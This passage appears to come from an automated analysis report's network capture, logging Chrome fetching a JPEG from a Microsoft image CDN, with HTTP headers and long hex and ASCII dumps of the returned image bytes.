73 f4 ac cb ef da 1b 4f b7 b7 71 a5 78 1f c5 36 52 03 81 71 73 7d 67 c8 f6 51 92 0f d3 f3 af 25 f1 57 82 ec 75 1d 5a 4d 42 
ee ec 5c de 3e 18 b8 93 c9 e7 3d 94 15 03 f2 ac 58 74 6d 72 ce e8 be 95 aa 58 5b 04 c3 2b 4d 18 94 fe 39 76 15 b4 73 bc 
54 be 09 2f b9 19 cb 29 c3 c5 fb e9 fd e7 a4 db fc 61 b5 d4 af 8c fa 9f 81 35 2b 9f 98 b3 5c 4b 7b 0b b7 a7 1b c9 ce 3d 87 
15 b3 7b f1 a7 c2 b6 d6 f1 a6 9d e0 3d 76 d2 e3 04 1b 89 2f a1 28 4f fb aa 8c 70 3d 80 ac ff 00 06 25 c5 f5 8c 72 f8 c5 f5 
6d 4d d4 8d a3 4a 36 f6 d1 e3 ae 72 63 63 
Data Ascii: K@H,t8!~|:z"{KZnJ&3WW[x}sOqx6Rqs}gQ%WuZMB\>=XtmrX[+M9vsT/)a5+\K{={=v/(Op=%rmMJ6rcc

2022-07-01 09:01:55 UTC 4705 IN Data Raw: e2 e5 9d 40 c0 27 70 23 ea 6a 89 b6 db 67 00 03 04 b7 4f 5e 05 5e b6 d3 cd c7 99 19 4f 9b 72 f1 c6 4e 0e 6b 
cd ab 59 d3 ab 16 f6 46 d0 8f 34 5a 3a 8f 87 c7 16 36 68 e3 61 0b b4 09 17 70 27 19 35 d9 6a 52 34 da 7e 23 78 5c 83 d8 
05 fa 74 cd 73 76 30 ad a5 f6 d6 07 8e 46 3b 71 e9 50 c5 a8 96 79 d4 03 81 b7 3f fd 6a f3 ea cb eb 13 72 4b 63 d2 a5 1f 
67 15 16 6d 6a 17 13 47 60 3c b4 8b 70 b7 c2 28 f4 e3 76 71 df f2 ab f6 52 ac 7a 2c 0f 02 ac f7 18 05 e2 38 18 3d 4e 08 
15 c3 de ea 2c 2f 0f ce 48 0a 57 39 c6 78 1d 3b 56 d6 81 78 dc 02 72 dd 8e 7d f1 9e 95 97 b3 e5 8a 67 54 65 ef 58 f4 3d 
29 da 2d 31 9e 28 e4 79 09 c9 53 c7 24 77 27 9e 9f 8d 70 fa b4 37 16 8e 76 5d ac b6 fd 71 6f 18 66 03 3d cf 07 af 41 5d 
3c 9a b2 58 5a dc b3 9d 8a 42 b7 cb 93 fc 3c f5 af 32 d3 
Data Ascii: @'p#jgO^^OrNkYF4Z:6hap'5jR4~#x\tsv0F;qPy?jrKcgmjG`<p(vqRz,8=N,/HW9x;Vxr}gTeX=)-1(yS$w'p7v]qof=A]
<XZB<2

2022-07-01 09:01:55 UTC 4784 IN Data Raw: 19 82 79 6c e4 70 78 19 f4 ff 00 38 ad c9 5c 48 a5 7c c2 fc 1f 6e 2b 93 f0 fd e7 91 0a 03 d0 11 d4 f1 ff 00 ea ad 
56 be 0f 73 18 6c 65 9b d7 9e 7f c6 bc f9 d3 6e 77 3d aa 55 12 82 46 37 8d a0 f3 1a d9 fb 05 2a 4e 78 eb c7 15 07 87 46 
eb ed c0 0c 88 8a e4 ff 00 3a d3 f1 2d af 9d 62 08 41 94 6c 64 13 8f e5 59 5a 79 5b 4d e5 90 13 b9 47 00 8e 0f 1f ce b9 
ab c5 ba 6c b8 3f de 26 59 d2 75 0c b4 b1 0c 8f 98 fb f7 e4 e2 b6 e0 b8 46 b6 90 0e a7 3c b7 4e bd 7f 1a e4 2d 71 04 c7 
77 20 96 e8 6b a8 d2 a4 f3 2d c7 1c 10 06 33 93 ef d7 e9 5e 64 69 29 c9 9d f1 ab 68 ea 63 09 a3 12 5c 44 a9 d7 fc 2a 58 
6e e0 92 31 19 18 2a 08 f7 1d b1 54 ee 6f 3e cf ae 5e 27 4c 16 04 0c 0e 3f 4a cb 4d 43 fd 2a 42 9e 98 e7 f5 ff 00 f5 d7 ac 
a2 d4 4f 3a 55 15 cf 49 d3 75 08 be c1 b0 1e 51 
Data Ascii: ylpx8\H|n+Vslenw=UF7*NxF:-bAldYZy[MGl?&YuF<N-qw k-3^di)hc\D*Xn1*To>^'L?JMC*BO:UIuQ

2022-07-01 09:01:55 UTC 4848 IN Data Raw: 52 7d cf 26 c4 67 3c 93 8e 98 fd 7d eb cb 96 1d d5 6a 69 9d ca 51 87 b8 fa 1e 29 f1 52 f3 ed 9e 20 d6 98 4a 
4a c9 76 a0 10 31 90 19 bf fa d5 9d e1 79 15 75 49 e4 c8 f9 63 00 b1 ed c5 7a 47 88 fe 1f 5a db c0 f3 cf f7 cc 8c 4f 3c 67 
93 9f 51 5c 17 87 f4 c8 bc 9f 12 dd 31 d9 15 b8 24 73 e8 06 3f 5a fb 3c 3d 68 ba 1c 91 dd 59 7e 48 f9 7c 45 39 2a dc cf af 
fc 16 75 d6 37 f0 c9 6f 16 cb 8d e4 f4 e7 d3 d7 fc f3 53 5e eb 76 f0 d8 c8 87 50 11 9f 38 66 32 01 f4 eb da bc a3 c3 17 b7 
97 a9 18 d8 c5 79 c0 cf 63 56 7c 41 a0 5f 4d 65 3b 90 53 77 ce a7 38 fb a7 26 bb 95 35 1a 9e ce 4c cb da b9 52 e6 48 ea 
fe 21 24 07 e1 fa ac 5e 5a 3b b8 51 e5 0e 48 2d d3 8f 5a e6 bc 43 3c 56 d6 f6 91 a0 54 09 1c 20 aa 81 80 7b e4 7f 3a f4 
08 74 cb 47 f8 57 69 a9 5d 3e 71 2a ed 0d 8e a3 
Data Ascii: R}&g<}jiQ)R JJv1yuIczGZO<gQ\1$s?Z<=hY~H|E9*u7oS^vP8f2ycV|A_Me;Sw8&5LRH!$^Z;QH-ZC<VT {:tG
Wi]>q*

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:55 UTC 4927 IN Data Raw: 95 0b 21 32 6f c8 eb d0 7e bc 57 99 19 46 3a 33 df 55 5b 82 57 39 1f 88 77 4c 7c 5d 11 25 78 6f bb d3 03 3d 3f 
fa f5 06 b9 7d e7 e9 e6 30 46 40 ce 43 63 1c 7a 54 3f 10 24 dd ad c7 3e f3 b8 ae 3a 77 27 b5 65 0b 93 33 3a ec f9 71 d4 
1c 60 7f 87 f2 ad 1b d6 e7 02 d2 3c a7 3b 11 11 d8 4e ac e4 36 e3 8c 1c f2 0f 7a d7 b8 0b 37 86 01 de 77 e3 83 92 3e b9 
f6 f6 ac 56 84 86 b8 8f 20 60 9c 8f 5a d5 8a 13 2e 96 22 32 b2 f2 4e 0e 30 73 53 27 6d 48 8b be 86 1d b5 b3 45 24 72 89 
39 3f 8f d2 bb 0f 0d da 87 42 ee e4 92 3e 6e c3 f0 ac af ec 8f 2a d7 7e 71 c7 27 a7 3f d6 bb 3f 0d d9 03 60 18 3b 6f 3d ff 
00 0e d9 15 c1 88 a8 a4 92 3b 70 f4 dd ec ca 32 40 05 cc 61 5f ef 67 a7 39 ad 02 0a a8 cf 0b eb c1 ef 56 5a c0 8b 94 20 
92 3a 9e 9f 98 35 3c d6 c1 59 17 8c 67 a9 35 e1 56 
Data Ascii: !2o~WF:3U[W9wL|]%xo=?}0F@CczT?$>:w'e3:q`<;N6z7w>V `Z."2N0sS'mHE$r9?B>n*~q'??`;o=;p2@a_g9VZ 
:5<Yg5V

2022-07-01 09:01:55 UTC 4999 IN Data Raw: a0 9e ff 00 5e b5 ea a5 cb 03 e3 f5 93 d4 c8 58 12 ca 39 10 27 27 a6 d1 dc 71 55 2f a2 95 d1 17 3b c1 1c 93 
c7 22 b5 fc 52 f1 d9 49 1a 46 72 09 1b b9 c0 03 d0 d6 62 c5 19 42 5a 5e 38 c8 cf 5f a5 17 b7 bc 4d b5 b1 94 d6 c3 6b 17 
e4 f7 ef 56 d6 c4 3d ac 6c a5 8f 3f dd c6 33 db 9e f5 25 c0 8e 14 4c 1c e4 7a 0c 9c f4 a9 e3 49 26 b5 0c ae 02 83 90 3a 67 
f5 ac ea 55 76 4d 1a c2 08 6d 9d 8a 86 2a 78 f5 27 83 c5 4b 67 a7 40 97 12 10 83 76 78 07 ff 00 d7 51 43 0e d7 c3 5c ec 
e4 f7 e3 df ad 3a 18 ed d2 49 03 4e 4a e7 24 8f 4f af e3 5c b2 e6 77 d4 d3 43 7e ca 0b 78 ee 01 03 e6 3f 97 4e 6b 4a 78 
e3 09 b8 01 8e 87 9f cb 18 ae 76 1d 42 ce d5 c3 99 0b 9f 4c f7 f7 ab 0f e2 28 58 80 83 2b f5 fd 6b c9 ad 42 a4 a4 9c 53 
3a 21 25 6d 59 34 f6 f3 49 f7 20 ce 07 40 48 eb ef c5 
Data Ascii: ^X9''qU/;"RIFrbBZ^8_MkV=l?3%LzI&:gUvMm*x'Kg@vxQC\:INJ$O\wC~x?NkJxvBL(X+kBS:!%mY4I @H

2022-07-01 09:01:55 UTC 5007 IN Data Raw: 25 08 ef 8f e9 5c ad ec d2 c9 1e 1a 4c e3 ae 49 1e f5 74 e4 f4 57 39 9c 1a 96 a5 cb 2d 2c dc 5a 8d bf 73 69 e3 
82 73 f8 d6 0a 68 0f 2d e4 8a a5 9d 33 c6 46 40 19 ae 9b 49 ba 9b ec 0c a2 23 8c 7b 74 27 fc 6b 32 ce f8 b6 b4 e0 c9 20 
3b b9 04 e0 7d 31 d7 f5 ad 23 29 a6 ec 44 a0 9e c7 3f e2 2d 02 4b 75 8f a4 7d b2 4f 5f 71 ed 59 4d a5 c8 96 fe 62 95 90 
ae 46 40 ae d7 c5 80 c6 c8 23 dd 96 c1 e9 93 f5 c5 41 69 1a fd 8d d8 a3 48 c3 a8 c0 0a 78 ae b5 59 c6 29 b2 1c 12 d0 e1 
52 19 5a 30 76 30 19 39 c0 35 59 2c b7 dd 20 00 9f 4c 9e f5 e8 fa 70 49 ed e4 2e 04 63 1d 02 82 dc f4 fa 56 0f d9 53 fb 
57 01 17 92 3b 73 cf e0 6a a3 89 dd 58 9e 53 02 6d 32 55 41 84 21 bd b9 e0 fa 7a 53 e4 b0 fb 2d bf 98 e5 89 19 24 32 f1 
fc eb ba d5 ec 04 96 61 8e 63 50 3f 84 e0 e3 d0 ff 00 
Data Ascii: %\LItW9-,Zsish-3F@I#{t'k2 ;}1#)D?-Ku}O_qYMbF@#AiHxY)RZ0v095Y, LpI.cVSW;sjXSm2UA!zS-$2acP?

2022-07-01 09:01:55 UTC 5063 IN Data Raw: df eb 51 79 80 28 00 63 1c 1e 7f ad 3e 57 7b 9a 73 e8 0c 14 b0 c6 72 3d 01 a5 ce 7b 74 e7 eb 4c 59 71 82 7a 
9e 30 7f cf e7 4f 59 d4 7c a1 f8 f7 c0 a9 69 8d 48 90 65 57 df b1 c5 24 f0 bb 26 e3 82 0f eb 4e 59 3e 5c e7 03 b5 0b 38 66 
f7 fa d7 1b 52 8c b9 91 a7 35 d1 cb 78 83 c3 63 52 85 d5 a2 8d f2 39 e3 27 81 fa 91 5e 0f e3 4f 87 63 4e 99 e4 48 8a 90 
4f 41 f9 57 d4 8c 09 ce 08 fe 5c 56 0e b7 a2 5b ea 51 b8 68 94 e4 7d ec 7f 2a de 9d 49 33 86 b4 2f aa 5a 9f 28 58 5c cb 
a7 ef 46 fb 9c fb d7 ce 3f 17 a6 37 5f 10 2d 25 07 e5 0e 32 48 f4 22 be cb f1 d7 80 9e cd a4 78 86 47 3d 0f 71 5f 29 fc 4f f0 
9c ef e2 18 ae 36 1c ab 83 91 e8 2b b1 38 a5 73 c9 a9 76 d7 31 f4 5f 81 3c ab bf 0b db 44 f8 04 20 5c 1e 3b 73 9f e9 d6 
b9 5f 1b 78 14 dc a3 b2 44 1d 5b 24 0c 8a d6 f8 
Data Ascii: Qy(c>W{sr={tLYqz0OY|iHeW$&NY>\8fR5xcR9'^OcNHOAW\V[Qh}*I3/Z(X\F?7_-%2H"xG=q_)O6+8sv1_<D \
;s_xD[$

2022-07-01 09:01:55 UTC 5079 IN Data Raw: 61 73 b7 a9 3c 73 97 6c 8c fb 64 74 14 d3 20 29 df 77 38 c7 f9 fe 75 11 66 0d 93 d7 07 e6 ea 70 38 c7 f8 54 6f 
32 b2 0c 00 4f 4e 41 ab e5 0f 69 66 58 63 f3 e7 04 76 3d 39 e3 de 83 b8 60 f4 1d 48 ea 3d 40 15 50 bb 74 23 6e 4e 7a 76 
3c d2 8b a0 cb 86 f7 c9 07 a0 cf f4 a8 74 ee 69 1a e5 90 c3 61 39 04 f6 3f 51 fd 29 a9 21 19 23 1f 28 fc 05 44 65 e4 93 f8 
63 eb c0 f6 a8 d9 f6 b8 03 db 00 fe 1f a5 4a a0 6d ed ee 5c 33 97 4c 10 b8 ee 71 dc 9f 5f 6a 41 32 b4 b8 0f b0 7b 0f d6 ab 
17 66 ff 00 61 57 20 73 fe 79 cd 38 37 45 04 e7 38 23 eb fc be 94 3a 71 46 b1 9b 2c 2c c0 7d ee 39 ef d3 fc ff 00 8d 4e 8f 
bb 00 10 42 e0 1f 4c 7b d5 36 dc 36 0f 94 1c f4 3d b2 39 c5 37 cc da a1 86 d4 19 e7 3c 02 2b 3e 5d 45 39 bd 91 a0 b2 96 
43 82 09 e9 8e 7d 3d 3d 29 7c ef 98 64 02 3b 
Data Ascii: as<sldt )w8ufp8To2ONAifXcv=9`H=@Pt#nNzv<tia9?Q)!#(DecJm\3Lq_jA2{faW sy87E8#:qF,,}9NBL{66
=97<+>]E9C}==)|d;

2022-07-01 09:01:55 UTC 5111 IN Data Raw: 7c d8 3d 48 f4 c0 e9 9e bf 87 e3 4b 19 8e 46 38 90 00 30 71 df af 38 ad 93 48 c6 57 2a c5 1c 92 b8 04 fc a7 
39 24 77 03 9f 7f 5e 6a 59 50 6e c9 1b 08 db d0 1c 9e 7d 05 68 99 a0 81 32 08 0d ce 7b f5 1d b3 fe 45 2c 86 29 76 65 b7 
83 d0 8c 0f 6e 3d 6a 79 f5 39 a5 75 aa 32 16 35 f3 36 8d b8 07 a6 4f 23 9f eb 53 47 00 47 c8 42 4f ae 00 ff 00 1e b5 37 92 
61 c3 10 3e 62 7b fa 73 8a 89 8f ee f6 8c 8c 74 ee 0f 71 9a d3 9a e6 4a 5c da 92 60 16 c8 c6 08 c8 e7 d3 ff 00 ad 55 66 
75 0c 70 72 c4 1c 01 56 44 81 54 e4 00 c3 1f 4a 8a 76 57 09 81 83 c9 0c 3d ff 00 0e 95 3b 32 2a 4a e3 04 a9 e5 a0 e7 a7 
04 fa f3 fc 85 41 24 eb 21 da 98 20 93 83 f5 ef 45 d3 e1 b8 93 7f b7 4c 77 eb 9a a2 b2 f9 4f bb 01 c8 1d 0f b5 6b 15 a5 c5 
63 72 ce c9 ae 58 60 6c 56 5e 0e 38 27 eb fe 7a 54 
Data Ascii: |=HKF80q8HW*9$w^jYPn}h2{E,)ven=jy9u256O#SGGBO7a>b{stqJ\`UfuprVDTJvW=;2*JA$! ELwOkcrX`lV^8'zT

2022-07-01 09:01:55 UTC 5127 IN Data Raw: 75 00 e3 1f e7 8a 40 ff 00 29 27 ee e3 f9 7b 55 23 1d 4b 3f 79 80 c7 1d 39 1d 69 77 6d c8 1e df 98 ec 79 aa e2 
41 c0 18 00 77 1d 4f 1f d2 9d e6 f5 db 91 cf 41 49 df 61 b7 62 c1 c8 e8 3d 48 1f 4a 6b b3 1e 99 5c f4 ed 8c 1f 7f f3 f4 a8 
83 90 d9 c8 1d f1 8f 5a 3c cc a8 23 80 4f 7a 76 25 c8 7b 30 0b 9e 3f fa d8 ff 00 38 a3 7b 2a a7 f7 7e b5 1e e0 ad cf 1e 9c 
75 e3 bd 08 d8 50 08 e4 1e 2a d6 c6 2e 4c 52 b9 6c f6 c7 ad 3d 71 dc f3 8c ee f4 ff 00 3c d4 78 f5 e1 47 a8 e9 fe 14 fc 6e 
5e 4e 7a 7e 14 db 33 68 66 fc 31 f9 38 f9 9a a5 62 4f 04 63 f9 fd 2a 2e 39 20 f3 d7 1d 3e b4 a1 c0 ca 8c 7d 3b 7b 53 b8 
ad dc 8d fe 45 04 73 cf 5f f1 a5 8a 4d cd 80 4e 07 71 8a 6c c1 b6 0f e1 3d 7a d4 51 39 18 1c 39 ec 71 d6 b4 5a a1 68 5c 
eb 22 e7 ea 3d 3d fd 71 48 ec 02 91 8e 71 9f 
Data Ascii: u@)'{U#K?y9iwmyAwOAIab=HJk\Z<#Ozv%{0?8{*~uP*.LRl=q<xGn^Nz~3hf18bOc*.9 >};{SEs_MNql=zQ99q
Zh\"==qHq

2022-07-01 09:01:55 UTC 5143 IN Data Raw: bb bb f4 cf a0 a9 3c c9 1d 4e fc f0 06 0f ad 1c a4 59 16 24 ba 8d 5c 6e e1 bb e3 d2 9e f7 aa 54 95 23 04 67 3f 
fd 6a c9 93 71 57 24 03 83 d3 14 46 73 db 83 fe 7a d6 9c ba 5c 51 57 2f b5 e2 33 10 5f 7e 73 80 78 1f 8e 29 a2 e6 31 c9 
72 06 00 39 f6 aa e8 3b 11 c0 cf 51 fe 7f 1a 8e 55 23 9d a4 d5 22 25 a2 d0 be da 8c 68 d8 51 bc e0 9f a1 a8 26 d4 e6 2b 
b4 01 83 c0 e7 b5 67 88 dc b1 c6 32 c7 23 be 4e 28 92 37 5d ec 79 c6 70 7a e3 15 5c 88 cf 9a c8 b5 1c ad 2b e4 be f1 d8 
ff 00 2a b7 f6 9f 94 28 1b 8f 51 9a c9 81 64 0b c6 3e 84 fb 56 8c 0b b9 48 e9 9e be d5 12 1a 0c ed 6e 4f 5e 00 a7 2c c5 30 
07 27 a8 23 ae 29 7c b5 e8 4f 1c 67 bd 4f 12 a8 4e 72 0f 4f ca 91 94 9f 29 2c 4c 4f df 27 26 a4 0e a5 71 fa d4 42 6d b9 39 
e7 fb cc 7a e6 9b e6 67 3b b3 9c 9a 90 dc b5 fc 
Data Ascii: <NY$\nT#g?jqW$Fsz\QW/3_~sx)1r9;QU#"%hQ&+g2#N(7]ypz\+*(Qd>VHnO^,0'#)|OgONrO),LO'&qBm9zg;

2022-07-01 09:01:55 UTC 5341 IN Data Raw: a8 e7 db 8a 6a 39 91 48 3c 9e a3 eb 8f cb 8a 53 93 cf 41 eb e8 7d ff 00 a5 35 b9 17 64 a1 86 de 70 dd 3f fa dd 
69 f9 c3 06 fc aa a7 9d 87 2b d5 46 38 f6 f7 a5 12 7c e3 27 03 ae 33 eb 55 62 1b bb 2d 17 e8 0f 3e bf 87 4a 49 24 32 c8 
49 e4 fb 9a 45 20 a9 3c 63 f9 66 a3 6c 6e 3d aa 13 1d b5 1c 58 2a 80 3a 75 07 da 9b 86 da 47 ae 3d e9 9b 8e ee 33 f9 76 
f7 ab 2b f3 26 0e 14 81 9c 53 7a 14 a7 64 56 d8 15 73 e9 e9 cf e5 52 2b 60 60 0f 52 7d a9 1d 40 77 3b f3 93 df b6 45 46 
39 c6 3b 55 b3 25 27 27 72 61 cb 92 73 f8 f1 4e 07 6a 60 67 be 7f fa f5 1a 06 66 38 ff 00 38 a7 1e 14 76 e3 81 f5 ef 52 68 
d0 f4 03 be 3d ff 00 c6 87 fb a7 6f 5c f5 f6 a6 6e cb 60 e3 07 8c 74 a5 ce 3a 13 d7 eb fa d2 1d ed a0 d2 0f 9d 82 4e 3a 66 
9e 4f ca 09 e1 bd 4f 6a 8f 38 6c 86 c6 7f 2f c2 
Data Ascii: j9H<SA}5dp?i+F8|'3Ub->JI$2IE <cfln=X*:uG=3v+&SzdVsR+``R}@w;EF9;U%''rasNj`gf88vRh=o\n`t:N:fOOj8l/

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:55 UTC 5357 IN Data Raw: 04 26 06 40 c9 19 fe 95 46 58 59 98 86 3b 01 24 60 53 8b b9 9a 45 67 72 59 c6 7d ff 00 2a 6b 67 cc 40 08 f5 
3f c8 d5 83 01 55 20 77 c0 e3 de a3 78 88 e4 9f 61 cf 15 a5 cd 74 b1 0b 0c b6 40 d8 33 c5 44 ce 43 12 b8 1d 0e e1 fa 54 
8e 4e fc 0c 06 e8 0f ff 00 ae a3 6c 87 24 8c 9f ae 7b fe 55 69 98 5b 51 8d 2b 6e c9 38 c1 1c 7f 85 49 24 87 76 01 c9 1d aa 
bc 88 db f9 1c f0 7e b4 f5 24 c8 71 f2 1c 83 d7 35 6f b9 56 2c ab 3a ae 7a 9c 7d 7f fd 74 f6 e5 72 01 27 39 fc ba d3 07 f0 
71 c1 f4 a9 09 ca f2 32 3d fa f1 59 73 15 d2 c0 18 f5 c7 52 3a d2 67 7b 60 e0 11 da 98 cc 46 49 3f 2f 4c 54 31 37 cc 72 7e 
ef 1c e2 af cc 89 22 c1 3e 5a e0 77 c8 3e fd ea be e2 8e 54 64 1c f4 15 2b b7 99 1f 03 fa 1a 8d 6d c3 72 71 93 cf eb cd 25 
e6 45 c3 78 2b cf 4c f3 ce 79 ab 96 d2 81 90 
Data Ascii: &@FXY;$`SEgrY}*kg@?U wxat@3DCTNl${Ui[Q+n8I$v~$q5oV,:z}tr'9q2=YsR:g{`FI?/LT17r~">Zw>Td+mr
q%Ex+Ly

2022-07-01 09:01:55 UTC 5373 IN Data Raw: 1a 9a da 3d 4b f2 4a ad 88 ce 77 75 ff 00 1f c2 9c a9 9c 1f 4e 87 9a aa 8c a6 4d c0 73 d2 ad 44 e0 7c a0 e7 a7 
53 d7 fc f6 a1 dd 11 cb 76 58 dd b5 08 1c b1 e4 fa d4 6a 32 c4 1f bb 8f e8 6a 31 38 0b 91 c7 aa f5 e2 9b 34 eb 0f 21 f9 38 
e0 75 34 8d 14 49 24 6c 75 e3 35 5e 44 50 c3 04 8e 79 19 a4 fb 4a 3f 7c 9f 43 eb 4d 92 ee 20 b8 27 70 c7 eb 4d 36 12 8e 
83 99 bc ae 9d 46 72 73 8a 80 dc b1 e0 fe 7d e9 b2 48 8b ce fc e4 e3 1d 6a 10 19 f2 41 cf 5e 3d eb 54 61 ac 4b c8 c6 57 
dc 7a ed ef 56 93 73 2f 07 f4 fd 2a 84 2c cc 80 11 d3 a9 ab 68 f2 26 42 f2 0f bd 43 0e 6d 49 d1 be f8 69 33 8f ae 29 55 95 
9b 23 27 db 3d 7f 0a 85 95 91 5d c8 1f 4e 69 d0 1f 98 96 5d bc f0 0f 35 3d 2e 26 c9 5b 2e bb 47 03 d3 9a 14 20 70 5b b7 
71 df 06 9d b4 1c 60 ff 00 4f d6 94 28 24 8e ad 
Data Ascii: =KJwuNMsD|SvXj2j184!8u4I$lu5^DPyJ?|CM 'pM6Frs}HjA^=TaKWzVs/*,h&BCmIi3)U#'=]Ni]5=.&[.G p[q`O($

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

167 192.168.2.5 49940 80.67.82.211 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:55 UTC 2725 OUT GET /cms/api/am/imageFileData/RE4Ihjj?ver=0f2f HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-07-01 09:01:55 UTC 2845 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Ihjj?ver=0f2f
Last-Modified: Sat, 25 Jun 2022 04:51:46 GMT
X-Source-Length: 416776
X-Datacenter: northeu
X-ActivityId: 01b65511-b319-4a8e-8359-093a124b1a51
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 416776
Cache-Control: public, max-age=287431
Expires: Mon, 04 Jul 2022 16:52:26 GMT
Date: Fri, 01 Jul 2022 09:01:55 GMT
Connection: close

2022-07-01 09:01:55 UTC 2846 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 
03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 
15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 
00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 
02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2022-07-01 09:01:55 UTC 2893 IN Data Raw: 04 f1 8a 76 19 dc 68 f0 87 8f 8f 4e d5 73 ec c4 36 48 e2 aa 68 73 fc a9 83 5b a6 68 c2 a0 3d 68 3a 12 d0 c5 bb 
83 e4 72 7b 0e 2b 8b d5 d7 0e 48 e9 5d e6 a3 3a 79 64 28 e0 8c 57 07 ac 37 ce 4f 7f e5 4d 6e 27 a1 90 47 6f 4a b1 0f 2a 
a0 fa d5 43 20 db ef 53 59 be e6 19 ad 45 63 5a 38 c7 19 e7 8e d4 f5 b6 cf 03 a6 31 4f 8b e7 51 8a 91 01 0e 3f bd 55 14 
64 c7 43 64 4f 23 af a5 6a 25 b9 11 67 bf 6a 82 df ef 60 8c 56 aa 05 96 10 08 c1 1d 28 9c 15 b4 05 26 8a f0 48 c9 f2 3f e0 
6b 42 39 11 7e b8 cf bd 57 10 91 c6 3a f3 9a 6b e5 5b bf 5e 0d 72 4a 23 72 23 be b8 1f 38 3d fb 56 2c ef 85 e0 d6 9d d2 
96 6c 1e 4d 64 5e 0c f1 9e 31 8a 9e 52 2e 52 60 37 13 9a 60 1d fd 69 5e 36 1f 5a 92 24 27 82 3a d6 ca 22 27 81 0c 8d cd 
2c f0 ec 52 0f 5a 9a 14 f9 78 a5 9c fc a4 11 92 47 
Data Ascii: vhNs6Hhs[h=h:r{+H]:yd(W7OMn'GoJ*C SYEcZ81OQ?UdCdO#j%gj`V(&H?kB9~W:k[^rJ#r#8=V,lMd^1R.R`7
`i^6Z$':"',RZxG

2022-07-01 09:01:55 UTC 2909 IN Data Raw: 81 8d 58 f3 cd 32 87 e9 7a 7f 9f 30 04 77 af 59 f0 ce 9e 91 5a a1 22 bc ff 00 c3 fb 64 b9 1e b9 af 51 d2 30 88 
14 63 07 b5 7c de 70 df 27 29 db 87 d1 9d 35 84 4b 14 21 80 cf 7a 65 de a2 37 60 fe 42 87 b8 09 6f db a5 62 49 71 ba 4c 
83 c5 7e 3b 5b 04 ea d5 95 43 e9 61 5f 92 2a 27 43 6f 7a 55 3f c2 ae c3 72 c1 09 c9 dc 3d 2b 9c b7 bb 4e 14 73 9e 95 b3 
0c 8a 63 e0 f1 8c d7 3c b2 fb 2b b4 4f b7 6d 90 ea 9a af 96 b8 cf 22 b9 c6 d4 d1 a4 24 f2 73 f9 55 8d 69 b2 ae c3 a8 f5 ae 
3a e2 e7 c8 62 09 f9 bb 57 76 1b 2c 72 4d 47 72 65 5b b9 df 58 5f 2c 8d c7 4e 3a 56 cb 6a 41 13 00 f2 78 c5 79 96 9b ac 
34 7c 67 15 b1 fd b1 e6 74 26 bd 6f ec f7 14 93 39 5d 6d 4d 8d 4b 51 25 88 5e 73 ef 59 91 5d 3b 31 f4 ef 55 67 9f cc e3 
34 45 2e 10 8f 41 52 b2 f8 a4 dd b7 2b db 3e e4 d7 
Data Ascii: X2z0wYZ"dQ0c|p')5K!ze7`BobIqL~;[Ca_*'CozU?r=+Nsc<+Om"$sUi:bWv,rMGre[X_,N:VjAxy4|gt&o9]mM
KQ%^sY];1Ug4E.AR+>
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2022-07-01 09:01:55 UTC 2952 IN Data Raw: 8e 49 a6 b7 2b cf e3 53 6d c7 4a 8a 45 ed de b4 40 ca ee 32 c3 9e 95 76 c9 b6 f1 df fa 55 5c 7c d9 35 35 bf 0c 
a2 a6 a6 b1 20 db b7 7f 9b af e1 57 91 77 2d 63 da 31 27 3e 95 b9 66 9b 93 38 af 2e 6a c6 6c bd a6 c5 87 c9 ad 85 8c 0c 
0c 7e 55 97 0b 08 f0 48 e6 ae c5 73 85 e7 de b0 b5 d8 89 a5 95 63 e9 54 9b 56 55 6e 69 b7 b7 2a 79 1c 7a d6 0d dd c7 
ce 48 6e 0d 74 42 9f 51 1d 2a eb c8 8b df 9a a9 7b e2 67 28 42 96 03 ae 2b 99 7b b3 b7 e9 e9 50 99 8b 70 4f e3 5d 51 e6 
ea 52 8a 34 e4 d5 de 56 e5 cf 5a 84 de 93 c9 62 3f 1a a6 06 79 35 5a 59 31 cf eb 5b c6 3c c6 a9 23 af d0 35 4f 2a e4 16 
3d 31 d2 bd 23 46 f1 06 18 02 72 3b 57 8a 58 dc 98 e4 53 db 35 d8 69 1a 91 56 18 27 6f bd 79 59 86 1d 54 89 71 7c ac f6 
69 35 71 35 b8 07 81 8f c6 b3 a4 bb c6 48 f4 ac 3d 32 f8 
Data Ascii: I+SmJE@2vU\|55 Ww-c1'>f8.jl~UHscTVUni*yzHntBQ*{g(B+{PpO]QR4VZb?y5ZY1[<#5O*=1#Fr;WXS5iV'o
yYTq|i5q5H=2

